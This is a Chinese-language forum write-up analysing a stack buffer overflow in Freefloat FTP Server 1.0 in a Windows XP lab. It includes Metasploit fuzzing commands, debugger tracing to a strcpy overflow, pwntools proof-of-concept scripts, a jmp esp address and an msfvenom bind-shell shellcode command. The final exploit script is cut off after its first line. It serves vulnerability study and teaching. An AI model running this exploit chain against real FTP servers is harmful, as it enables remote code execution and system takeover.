-
-
[原创]Freefloat FTP Server1.0栈溢出漏洞分析
-
发表于: 2021-3-24 15:06 12384
-
freefloatftpserver1.0 用于打开ftp服务,用于上传文件和管理有线及无线设备的软件
freefloatftpserver1.0
使用两种工具Infigo FTPStress Fuzzer和Metasploit都能测试出溢出漏洞存在
在windowsXP运行漏洞程序,程序打开ftp服务,并监听21号端口
ftpfuzz触发漏洞
eip指向fuzz发送的测试数组‘AAAA‘,程序执行流已被更改,存在溢出漏洞
攻击机kali运行metasploit,运行如下命令
运行结果
靶机崩溃,eip指向未知内存地址,可以溢出
最简单的栈溢出,jmp esp作为跳板跳转到栈中执行
在靶机用Immunity Debugger打开freefloatftpserver1.0运行调试
在kali攻击机用pwntools编写脚本,向ftp服务器的USER输入点发送数据包测试
程序崩溃,eip指向0x41414141,由发送的数据A的ascii码为0x41可知,USER输入点存在溢出漏洞
输入用户名之前,程序会输出一条ftp服务器版本的语句,在immunity debugger中定位输出这句话的函数,从而缩小定位漏洞函数的范围
查询字符串
在wsprintw函数设置断点
重新发送payload,单步调试,直到运行到出现异常的函数freefloa.004020E0
在freefloa.004020E0函数设置断点,重新发送payload,f7单步步入此函数
重复上述操作,接着在freefloa.00402190函数设置断点,单步步入,程序会在运行到00402881处跳转到004028EB处执行,之后调用freefloa.00402DE0函数,程序崩溃
在freefloa.00402DE0函数设置断点,步入之后未发现存在子函数,并且在返回的时候执行retn 8指令
观察此时esp指向的返回地址为0x41414141,执行retn命令之后eip指向0x41414141,使得程序崩溃
得出结论:freefloa.00402DE0函数可能出现栈溢出
用IDA加载程序进行静态分析,定位到函数sub_00402DE0
Strcpy函数存在溢出漏洞,将函数第三个参数a3的值复制到局部变量v8中,如果a3过长,会覆盖返回地址,那sub_00402DE0函数的参数a2,a3到底是什么?这就回溯到调用此函数的位置了,通过之前动态分析可以得到调用函数为00402190,IDA静态分析分析得Sub_00402190将输入的字符串与各种ftp命令进行比较,根据命令进行不同的响应。
用immunity debugger回溯到sub_00402190函数里的00402881地址,这个地址的指令跳转执行漏洞函数00402DE0,查看栈帧能够获得参数
在IDA中定位,aXommandNotUnde就是上图的command not understood字符串,此处跳转执行402DE0
参数1 V16是输入字符串长度,参数2 v17是输入字符串‘AAAA‘:command not understood’ 查看函数栈帧可验证
结论:函数sub_402DE0栈帧结构,(ebp实际不存在,只是方便记录相对偏移)
只需填充0xFC-1个垃圾数据可溢出到函数返回地址(-1是因为程序在输入字符串前添加了单引号),重新组织poc,返回地址为cccc
返回地址为0x63636363,是cccc的ascii码,验证成功
Windows xp sp3未开启DEP保护
在生成shellcode之前需要确定坏字符,用mona生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可
利用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x0a\x0d’,以c语言格式输出,靶机IP192.168.112.146
msfvenom -p windows/shell_bind_tcp LHOSTS=192.168.112.146 LPORT=4444 -b '\x00\x0a\x0d' -f c
使用mona插件查询jmp esp指令的地址
从中选择一个地址0x77D29353,作为跳板,跳转到栈上执行shellcode
最终Exploit.py
注:shellcode前16个\x90是因为函数返回时的retn 8需要跳过,也可作为滑板,同时作为缓冲区防止执行shellcode时更改内存使得shellcode执行代码也被更改
执行流程:
栈帧结构:
Shellcode使靶机开放4444端口进行shell连接攻击机,连接成功
- Freefloat FTP Server1.0栈溢出漏洞分析
- 一、漏洞信息
- 1. 漏洞简述
- 2. 组件概述
- 3. 漏洞影响
- 二、漏洞复现
- 1. 环境搭建
- 2. 复现过程
- 2.1 Infigo FTPStress Fuzzer测试
- 2.2 metasploit的ftp fuzz测试
- 三、漏洞分析
- 1. 背景知识
- 2. 详细分析
- 2.1 Immunity Debugger调试
- 2.2 python发包测试
- 2.3 定位溢出点
- 2.4 静态分析结合动态分析
- 3. 漏洞利用
- 1. 利用条件
- 2. 利用过程
- 1. 排除坏字符
- 2. 生成shellcode
- 3. 内存中查找jmp esp命令
- 4. 编写exploit
- 四、参考文献
#打开metasploit
msfconsole
#查询可用的fuzz
search fuzzing
#使用ftp fuzz模块
use auxiliary
/
fuzzers
/
ftp
/
ftp_pre_post
#设置靶机
set
RHOST
192.168
.
112.146
#漏洞利用
exploit
#打开metasploit
msfconsole
#查询可用的fuzz
search fuzzing
#使用ftp fuzz模块
use auxiliary
/
fuzzers
/
ftp
/
ftp_pre_post
#设置靶机
set
RHOST
192.168
.
112.146
#漏洞利用
exploit
from
pwn
import
*
p
=
remote(
"192.168.112.146"
,
21
)
paylad
=
'A'
*
500
p.sendline(payload)
p.interactive()
from
pwn
import
*
p
=
remote(
"192.168.112.146"
,
21
)
paylad
=
'A'
*
500
p.sendline(payload)
p.interactive()
from
pwn
import
*
p
=
remote(
"192.168.112.146"
,
21
)
payload
=
'A'
*
(
0xfc
-
1
)
+
'cccc'
p.sendline(payload)
p.interactive()
from
pwn
import
*
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!